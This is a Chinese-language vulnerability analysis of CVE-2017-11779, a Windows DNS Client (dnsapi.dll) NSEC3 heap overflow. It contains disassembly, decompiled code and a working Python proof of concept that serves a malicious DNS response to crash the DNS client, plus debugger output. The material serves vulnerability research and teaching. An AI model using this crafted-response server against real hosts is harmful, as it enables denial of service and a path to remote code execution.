Windows DNS API RCE漏洞分析及PoC构造

根据 Microsoft 2017 年 10 月安全通告,多个版本 Windows 中的 dnsapi.dll 在处理 DNS response 时可导致 SYSTEM 权限 RCE。

需要注意的是,不是 Windows 系统中所有 DNS 解析都有问题,比如 nslookup 并不解析 DNSSEC,所以没有问题,同时,也不是所有能触发漏洞的地方都能在 SYSTEM 权限下执行代码,只有像 Windows Update 这样的 SYSTEM 权限进程才能成为 SYSTEM 权限 RCE 的攻击入口。

以 DNS Client API DLL 10.0.15063.0 与 10.0.15063.674 为例,补丁对比,

可知漏洞存在于 dnsapi.dll 中的 Nsec3_RecordRead 函数,那么可以确定问题就是出在解析 DNS response 的 NSEC3 Resource record,为了构造 PoC,先得了解这个 “NSEC3” 的背景。首先,DNS 协议数据结构如下图所示,

例如,当访问 http://justanotherbuganalysis.github.io/ 时,DNS query 如下,

9d 4b 01 00 00 01 00 00 00 00 00 00 16 6a 75 73  .K...........jus74 61 6e 6f 74 68 65 72 62 75 67 61 6e 61 6c 79  tanotherbuganaly73 69 73 06 67 69 74 68 75 62 02 69 6f 00 00 01  sis.github.io...00 01                                            ..

DNS response 如下,

9d 4b 81 80 00 01 00 02 00 00 00 00 16 6a 75 73  .K...........jus74 61 6e 6f 74 68 65 72 62 75 67 61 6e 61 6c 79  tanotherbuganaly73 69 73 06 67 69 74 68 75 62 02 69 6f 00 00 01  sis.github.io...00 01 c0 0c 00 05 00 01 00 00 0e 10 00 1b 03 73  ...............s6e 69 06 67 69 74 68 75 62 03 6d 61 70 06 66 61  ni.github.map.fa73 74 6c 79 03 6e 65 74 00 c0 3e 00 01 00 01 00  stly.net..>.....00 07 08 00 04 97 65 4d 93                       ......eM.

可见该 DNS response 中的 Answer RRs 包含了 CNAME(0x0005) 与 A(0x0001) 两个 Resource record(RR),由于该域名所在的 Domain Zone 并未配置 DNSSEC,所以在 response 中并没有 Authority RRs 与 Additional RRs。后面为了把程序执行流引到 Nsec3_RecordRead 函数,触发漏洞,在 Authority RRs 中加入特定 NSEC3(0x0032) 记录即可。

再来看漏洞,

.text:0000000180066693                 movzx   ecx, ax.text:0000000180066696                 xor     edx, edx.text:0000000180066698                 call    Dns_AllocateRecordEx.text:000000018006669D                 mov     r13, rax.text:00000001800666A0                 test    rax, rax.text:00000001800666A3                 jz      short loc_18006668C.text:00000001800666A5                 mov     al, [r14].text:00000001800666A8                 mov     [r13+20h], al.text:00000001800666AC                 mov     al, [r14+1].text:00000001800666B0                 mov     [r13+21h], al.text:00000001800666B4                 movzx   ecx, word ptr [r14+2] ; netshort.text:00000001800666B9                 call    cs:__imp_ntohs.text:00000001800666BF                 mov     [r13+22h], ax.text:00000001800666C4                 lea     rcx, [r13+28h]  ; Dst.text:00000001800666C8                 movzx   esi, byte ptr [r14+4].text:00000001800666CD                 add     r14, 5.text:00000001800666D1                 mov     rdx, r14        ; Src --> NSEC3 RR Salt value.text:00000001800666D4                 mov     [r13+24h], sil.text:00000001800666D8                 mov     r8d, esi        ; Size --> Salt length.text:00000001800666DB                 call    memcpy_0        ; Overflow.text:00000001800666E0                 add     r14, rsi.text:00000001800666E3                 lea     rcx, [rsi+28h].text:00000001800666E7                 add     rcx, r13        ; Dst.text:00000001800666EA                 movzx   ebx, byte ptr [r14].text:00000001800666EE                 inc     r14.text:00000001800666F1                 mov     rdx, r14        ; Src --> Data in NSEC3 RR.text:00000001800666F4                 mov     [r13+25h], bl.text:00000001800666F8                 mov     r8d, ebx        ; Size --> Hash length.text:00000001800666FB                 call    memcpy_0        ; Overlow.text:0000000180066700                 sub     r15w, bx.text:0000000180066704                 lea     rcx, [rsi+28h].text:0000000180066708                 sub     r15w, si.text:000000018006670C                 lea     rdx, [rbx+r14]  ; Src.text:0000000180066710                 add     rcx, rbx.text:0000000180066713                 movzx   r8d, r15w       ; Size.text:0000000180066717                 add     rcx, r13        ; Dst.text:000000018006671A                 mov     [r13+26h], r8w.text:000000018006671F                 call    memcpy_0        ; Heap Overflow caused by Integer Overflow.text:0000000180066724                 mov     rax, r13
_WORD *__fastcall Nsec3_RecordRead(__int64 a1, __int64 a2, __int64 a3, __int64 a4, unsigned __int64 a5){  __int16 v5; // ax  __int64 v6; // r14  DWORD v7; // ecx  __int16 v9; // r15  _WORD *v10; // rax  _WORD *v11; // r13  __int64 v12; // rsi  char *v13; // r14  char *v14; // r14  __int64 v15; // rbx  unsigned __int16 v16; // r15  v5 = a4 + 6;  v6 = a4;  if ( a4 + 6 >= a5 )  {    if ( byte_180091A45 & 4 )      WPP_SF_(46i64, &WPP_3905b13578e93036ce8b15be772e1375_Traceguids);    v7 = 13;    goto LABEL_5;  }  v9 = a5 - v5;  if ( (unsigned int)(unsigned __int16)(a5 - v5) + 8 > 0xFFFF    || (v10 = Dns_AllocateRecordEx((unsigned __int16)(v9 + 8), 0), (v11 = v10) == 0i64) )  {    v7 = 14;LABEL_5:    SetLastError(v7);    return 0i64;  }  *((_BYTE *)v10 + 32) = *(_BYTE *)v6;  *((_BYTE *)v10 + 33) = *(_BYTE *)(v6 + 1);  v10[17] = ntohs(*(_WORD *)(v6 + 2));  v12 = *(unsigned __int8 *)(v6 + 4);  v13 = (char *)(v6 + 5);  *((_BYTE *)v11 + 36) = v12;  memcpy_0(v11 + 20, v13, (unsigned int)v12);  v14 = &v13[v12];  v15 = (unsigned __int8)*v14++;  *((_BYTE *)v11 + 37) = v15;  memcpy_0((char *)v11 + v12 + 40, v14, (unsigned int)v15);  v16 = v9 - v15 - v12;                  //Integer Overflow  v11[19] = v16;  memcpy_0((char *)v11 + v15 + v12 + 40, &v14[v15], v16);  return v11;}

对于第一个 memcpy,通过调用 Dns_AllocateRecordEx 函数分配了 Dst 缓冲区,其大小取决于 NSEC3 RR 的 Data length 字段,Src 指向 NSEC3 RR 的 Salt value 字段,而 Size 则来自 Salt length 字段,都完全可控。

对于第二个 memcpy,同样的问题,只不过 Size 来自 Hash length 字段。

第三个 memcpy 操作之前,由于 v15, v12 皆可控,故可导致 unsigned __int16 v16 = v9 - v15 - v12 发生 Integer Underflow,进一步导致 memcpy 越界读写。

PoC 如下,

import SocketServerimport sysclass Handler(SocketServer.BaseRequestHandler):  def handle(self):    socket = self.request[1]    data = self.request[0].strip()    response = data[:2]    response += "81a30001000000060001".decode("hex")    response += self.get_question(data)    response += "20564c513234375149385031545433413843474d4437474c464e44544947534455c01100320001000000b3".decode("hex")    response += "0033".decode("hex")  # Data length    response += "01000014".decode("hex")    response += "ff".decode("hex")    # Salt length    response += "80637d8af055b5eeca2a621edaaa3c5e".decode("hex")    response += "14".decode("hex")    # Hash length    response += "3d8a3eb61a9dfa951a42d7779c1f150685a01947000762018008000290c186002e0001000000b3011d00320a03000000b459fd6ea859d5d398794f057373686670036e6574000601e89304161294b0a21f3828a4c137c675cabaddeff8837fad9c553895b7bf9e2b21fc789786d1f3fb734e519a4662d453ea41fbcca87f9657608017a602639cc636a249d94f529bcc504e1823d0d59e446ed67b1e7a93ebd5f07db21e4f8e29150ff2454b34f5716be5b712640500e672b0eb81c5f03d6c4ea42effd282e842df4321b45a4c9f678c7996cd033b29ce1a13943856010eed3a6bd41880713be77e5459ded91199ec4b2b70543c6f00e20dd2cb1642424fb7be33731b1a2707ac8494d38638cbc1862bacad4824d8644aee4c835178ba4339524edf8e32cf9e63da0d6309c6a8187e6c7c181a99445a4cb799cab602359c22456a7db3d61809".decode("hex")    response += "0000290200000080000000".decode("hex")    print(response.encode("hex"))    socket.sendto(response, self.client_address)  def get_question(self, data):    start_idx = 12    end_idx = start_idx    num_questions = (ord(data[4]) << 8) | ord(data[5])    while num_questions > 0:      while data[end_idx] != "\0":        end_idx += ord(data[end_idx]) + 1      end_idx += 5      num_questions -= 1    return data[start_idx:end_idx]if __name__ == "__main__":  server = SocketServer.ThreadingUDPServer(("0.0.0.0", 53), Handler)  print("CVE-2017-11779 PoC Started.")  try:    server.serve_forever()  except KeyboardInterrupt:    server.shutdown()    sys.exit(0)

例如,触发第一个 memcpy 堆溢出,令 NSEC3 RR 的 Salt length = 255,

0:006> rrax=0000000000000014 rbx=0000000000000001 rcx=0000027fd88f41f8rdx=0000027fd888e7c8 rsi=00000000000000ff rdi=0000000000000001rip=00007ffe5fd266db rsp=000000ddf9ffee30 rbp=000000ddf9ffef70 r8=00000000000000ff  r9=0000000000000000 r10=0000000000000000r11=00007ffe6425bf17 r12=0000027fd88f4850 r13=0000027fd88f41d0r14=0000027fd888e7c8 r15=0000027fd888002diopl=0         nv up ei pl nz na pe nccs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202DNSAPI!Nsec3_RecordRead+0xbb:00007ffe`5fd266db e896d8fbff      call    DNSAPI!memcpy (00007ffe`5fce3f76)0:006> db rdx0000027f`d888e7c8  80 63 7d 8a f0 55 b5 ee-ca 2a 62 1e da aa 3c 5e  .c}..U...*b...<^0000027f`d888e7d8  14 3d 8a 3e b6 1a 9d fa-95 1a 42 d7 77 9c 1f 15  .=.>......B.w...0000027f`d888e7e8  06 85 a0 19 47 00 07 62-01 80 08 00 02 90 c1 86  ....G..b........0000027f`d888e7f8  00 2e 00 01 00 00 00 b3-01 1d 00 32 0a 03 00 00  ...........2....0000027f`d888e808  00 b4 59 fd 6e a8 59 d5-d3 98 79 4f 05 73 73 68  ..Y.n.Y...yO.ssh0000027f`d888e818  66 70 03 6e 65 74 00 06-01 e8 93 04 16 12 94 b0  fp.net..........0000027f`d888e828  a2 1f 38 28 a4 c1 37 c6-75 ca ba dd ef f8 83 7f  ..8(..7.u.......0000027f`d888e838  ad 9c 55 38 95 b7 bf 9e-2b 21 fc 78 97 86 d1 f3  ..U8....+!.x....

最终,

0:006> g(580.5e4): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.ntdll!memcpy+0x220:00007ffe`6425bd20 f30f7f40f0      movdqu  xmmword ptr [rax-10h],xmm0 ds:0000027f`d8904215=????????????????????????????????0:006> k # Child-SP          RetAddr           Call Site00 000000dd`f9ffee28 00007ffe`5fd26724 ntdll!memcpy+0x22001 000000dd`f9ffee30 00007ffe`5fcef5e6 DNSAPI!Nsec3_RecordRead+0x10402 000000dd`f9ffee70 00007ffe`5fcd6d3f DNSAPI!Dns_ParseMessage+0x2049603 000000dd`f9fff360 00007ffe`5fcd6b33 DNSAPI!Send_AndRecvComplete+0x17f04 000000dd`f9fff4e0 00007ffe`5fcd1fc1 DNSAPI!Send_AndRecvUdpComplete+0x33305 000000dd`f9fff550 00007ffe`611a0320 DNSAPI!Recv_IoCompletionCallback+0x1f106 000000dd`f9fff5d0 00007ffe`641f3287 KERNELBASE!BasepTpIoCallback+0x5007 000000dd`f9fff620 00007ffe`641f16e1 ntdll!TppIopExecuteCallback+0x12708 000000dd`f9fff6a0 00007ffe`61722774 ntdll!TppWorkerThread+0x41109 000000dd`f9fff9b0 00007ffe`64220d61 KERNEL32!BaseThreadInitThunk+0x140a 000000dd`f9fff9e0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

综上所述,攻击者通过 MITM 或修改路由器 DNS 地址等方式劫持 DNS 流量后,当用户浏览网页或 Windows 自动同步时间时,即可通过 Dnscache(DNS Client) 服务解析恶意 DNS response,触发漏洞,攻击者在绕过 ASLR、DEP 等缓解措施后即可实现近似无交互远程 RCE。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-10-23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏高性能服务器开发

windows完成端口(六)

系列目录 windows完成端口(一) windows完成端口(二) windows完成端口(三) windows完成端口(四) windows完成端口(五) ...

3474
来自专栏landv

杨格门锁 YGSLockSDK V3.3酒管软件接口_99v

2079
来自专栏nummy

Tornado入门(七)【认证和安全】

Cookies信息通常不安全,很容易被篡改。如果需要通过cookies来区分不同的登录用户,则需要对cookies进行签名,以防伪造。Tornado通过set_...

972
来自专栏安恒网络空间安全讲武堂

XCTF-赛博地球杯工业互联网安全大赛web部分题解

0x01工控云管理系统项目管理页面解析漏洞 题目首先给出了源码: `http://47.104.156.32:20007/view-source.php` 关键...

6648
来自专栏Kubernetes

cluster-proportional-autoscaler源码分析及如何解决KubeDNS性能瓶颈

Author: xidianwangtao@gmail.com 工作机制 cluster-proportional-autoscaler是kubernetes的...

56810
来自专栏张善友的专栏

HTTP Basic Authentication验证WCF Data Service

WCF Data Service是OData协议,也是RESTFul Service的一种,上篇文章已经介绍了HTTP Basic Authentication...

2128
来自专栏比原链

Derek解读Bytom源码-P2P网络 地址簿

Gitee地址:https://gitee.com/BytomBlockchain/bytom

841
来自专栏FreeBuf

腾讯御见捕获Flash 0day漏洞(CVE-2018-5002)野外攻击

腾讯御见威胁情报中心近日监控到一例使用Adobe Flash 0day漏洞(CVE-2018-5002)的APT攻击,攻击者疑通过即时聊天工具和邮箱等把恶意Ex...

1160
来自专栏Golang语言社区

写在学习golang一个月后

连接池。由于PHP没有连接池,当高并发时就会有大量的数据库连接直接冲击到MySQL上,最终导致数据库挂掉。虽然Swoole有连接池,但是Swoole只是PHP的...

2562
来自专栏FreeBuf

远程RPC溢出EXP编写实战之MS06-040

0x01 前言 MS06-040算是个比较老的洞了,在当年影响十分之广,基本上Microsoft大部分操作系统都受到了影响,威力不亚于17年爆出的”永恒之蓝”漏...

29210

扫码关注云+社区

领取腾讯云代金券